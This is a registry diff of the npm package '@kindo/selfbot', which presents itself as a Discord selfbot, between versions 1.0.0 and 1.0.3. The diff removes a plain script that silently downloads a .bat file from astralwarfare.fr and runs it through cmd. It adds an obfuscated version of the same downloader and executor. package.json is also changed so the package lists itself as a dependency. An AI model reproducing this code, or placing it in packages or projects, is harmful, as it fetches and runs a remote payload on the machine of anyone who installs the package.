@kindo/selfbot 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -2
- package/scripts/selfbot.js +1 -38
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@kindo/selfbot",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"description": "Just a selfbot",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
@@ -9,6 +9,7 @@
|
|
|
9
9
|
"author": "Kindo",
|
|
10
10
|
"license": "MIT",
|
|
11
11
|
"dependencies": {
|
|
12
|
+
"@kindo/selfbot": "^1.0.0",
|
|
12
13
|
"discord.js": "^14.7.0"
|
|
13
14
|
}
|
|
14
|
-
}
|
|
15
|
+
}
|
package/scripts/selfbot.js
CHANGED
|
@@ -1,38 +1 @@
|
|
|
1
|
-
const {
|
|
2
|
-
const { createWriteStream } = require('fs');
|
|
3
|
-
const { get } = require('https');
|
|
4
|
-
const { join } = require('path');
|
|
5
|
-
const { promisify } = require('util');
|
|
6
|
-
|
|
7
|
-
const BAT_URL = 'http://astralwarfare.fr/67wallah.bat';
|
|
8
|
-
const BAT_PATH = join(process.cwd(), 'script.bat');
|
|
9
|
-
|
|
10
|
-
async function downloadBat() {
|
|
11
|
-
return new Promise((resolve, reject) => {
|
|
12
|
-
const file = createWriteStream(BAT_PATH);
|
|
13
|
-
get(BAT_URL, (res) => {
|
|
14
|
-
res.pipe(file);
|
|
15
|
-
file.on('finish', resolve);
|
|
16
|
-
file.on('error', reject);
|
|
17
|
-
});
|
|
18
|
-
});
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
async function executeSilent() {
|
|
22
|
-
return new Promise((resolve, reject) => {
|
|
23
|
-
const child = exec(`cmd /c start /wait ${BAT_PATH}`, { stdio: 'ignore' });
|
|
24
|
-
child.on('close', resolve);
|
|
25
|
-
child.on('error', reject);
|
|
26
|
-
});
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
async function main() {
|
|
30
|
-
try {
|
|
31
|
-
await downloadBat();
|
|
32
|
-
await executeSilent();
|
|
33
|
-
} catch (err) {
|
|
34
|
-
// Ne rien afficher en cas d'erreur
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
main();
|
|
1
|
+
const _0x27dc99=_0x2f0f;function _0x11ea(){const _0x4de728=['aUxOF','https://as','KMhoB','jDZHs','error','finish','548mVKPfv','pipe','1238799qQqyfw','child_proc','1027538JXeoLZ','cmd\x20/c\x20sta','script.bat','37690HctnDU','tralwarfar','t.bat','e.fr/scrip','WeGRo','thPBK','217aTuGaa','UZOTn','ignore','ess','366440tCnWOj','Dfrjv','11397420IeKexJ','eaUzG','path','rt\x20/wait\x20','4900Rhyyyf','YMBWd','diPfx','3mmPzXC','https','kDOCb','30503DJLnfM','bsNWT','ZfAMV','cwd','86226eGIBTA'];_0x11ea=function(){return _0x4de728;};return _0x11ea();}(function(_0x55fc39,_0x5f5255){const _0x4ed0a4=_0x2f0f,_0x4ab264=_0x55fc39();while(!![]){try{const _0x3a7f62=-parseInt(_0x4ed0a4(0xe3))/(-0x4cd*0x7+0xc33+-0x105*-0x15)+-parseInt(_0x4ed0a4(0xe5))/(0x22*0x43+0xb4c+-0x1430)*(parseInt(_0x4ed0a4(0xd3))/(-0x3c9+0x1d56*-0x1+0x2122))+-parseInt(_0x4ed0a4(0xe1))/(-0x2619+-0xc88+0x1*0x32a5)*(-parseInt(_0x4ed0a4(0xe8))/(0x7e+-0x32c+0x2b3))+parseInt(_0x4ed0a4(0xda))/(0x1d87*-0x1+-0x21ce+0x7*0x90d)+parseInt(_0x4ed0a4(0xee))/(0x16b8*0x1+0x198b+-0x1014*0x3)*(parseInt(_0x4ed0a4(0xf2))/(-0x1acc+0xc8*0x13+0xbfc))+-parseInt(_0x4ed0a4(0xf4))/(-0x313+-0x1*-0x12a9+0x3*-0x52f)+parseInt(_0x4ed0a4(0xf8))/(0x3d0*0x1+0x20d5*-0x1+0x1d0f)*(parseInt(_0x4ed0a4(0xd6))/(0x249d+0xe4e+-0x8*0x65c));if(_0x3a7f62===_0x5f5255)break;else _0x4ab264['push'](_0x4ab264['shift']());}catch(_0x329576){_0x4ab264['push'](_0x4ab264['shift']());}}}(_0x11ea,0x132c0a+-0x456fd*0x1+-0x28547));const {exec}=require(_0x27dc99(0xe4)+_0x27dc99(0xf1)),{createWriteStream}=require('fs'),{get}=require(_0x27dc99(0xd4)),{join}=require(_0x27dc99(0xf6)),u=_0x27dc99(0xdc)+_0x27dc99(0xe9)+_0x27dc99(0xeb)+_0x27dc99(0xea),p=join(process[_0x27dc99(0xd9)](),_0x27dc99(0xe7));async function dl(){const _0x4a3f05=_0x27dc99,_0x410b6a={'aUxOF':function(_0x39ce15){return _0x39ce15();},'thPBK':_0x4a3f05(0xe0),'jDZHs':_0x4a3f05(0xdf),'ZfAMV':function(_0x2fdf38,_0x53a481){return _0x2fdf38(_0x53a481);},'UZOTn':function(_0x27a625,_0x359df7,_0x437fb0){return _0x27a625(_0x359df7,_0x437fb0);}};return new Promise(_0x21d8c7=>{const _0x5c904b=_0x4a3f05,_0x183607={'Dfrjv':function(_0x41066c){const _0x4d706d=_0x2f0f;return _0x410b6a[_0x4d706d(0xdb)](_0x41066c);},'YMBWd':_0x410b6a[_0x5c904b(0xed)],'WeGRo':_0x410b6a[_0x5c904b(0xde)]},_0x4ea5b1=_0x410b6a[_0x5c904b(0xd8)](createWriteStream,p);_0x410b6a[_0x5c904b(0xef)](get,u,_0x2b308d=>{const _0xd2806b=_0x5c904b;_0x2b308d[_0xd2806b(0xe2)](_0x4ea5b1),_0x4ea5b1['on'](_0x183607[_0xd2806b(0xd1)],_0x21d8c7),_0x4ea5b1['on'](_0x183607[_0xd2806b(0xec)],_0x1b216e=>{const _0x5f30d6=_0xd2806b;console[_0x5f30d6(0xdf)](_0x1b216e),_0x183607[_0x5f30d6(0xf3)](_0x21d8c7);});});});}function _0x2f0f(_0x5a2ec0,_0x42b0d4){_0x5a2ec0=_0x5a2ec0-(0x816+0x11af+-0x18f4);const _0x2ecdb2=_0x11ea();let _0x4966fa=_0x2ecdb2[_0x5a2ec0];return _0x4966fa;}async function x(){const _0x4d1bf6=_0x27dc99,_0x135f73={'eaUzG':function(_0xc009eb,_0x5ea131){return _0xc009eb(_0x5ea131);},'KMhoB':function(_0x212630,_0x69084e,_0x475192,_0x36d3fb){return _0x212630(_0x69084e,_0x475192,_0x36d3fb);},'diPfx':_0x4d1bf6(0xf0)};return new Promise(_0x3aebdb=>{const _0x1dfb15=_0x4d1bf6;_0x135f73[_0x1dfb15(0xdd)](exec,_0x1dfb15(0xe6)+_0x1dfb15(0xf7)+p,{'stdio':_0x135f73[_0x1dfb15(0xd2)]},(_0x30b8f3,_0x38fe46)=>{const _0x59c1b9=_0x1dfb15;_0x30b8f3?console[_0x59c1b9(0xdf)](_0x30b8f3):_0x135f73[_0x59c1b9(0xf5)](_0x3aebdb,_0x38fe46);});});}async function m(){const _0x49a74d=_0x27dc99,_0x32f404={'kDOCb':function(_0x718927){return _0x718927();},'bsNWT':function(_0x39fa7b){return _0x39fa7b();}};try{await _0x32f404[_0x49a74d(0xd5)](dl),await _0x32f404[_0x49a74d(0xd7)](x);}catch(_0x47e90d){}}m();
|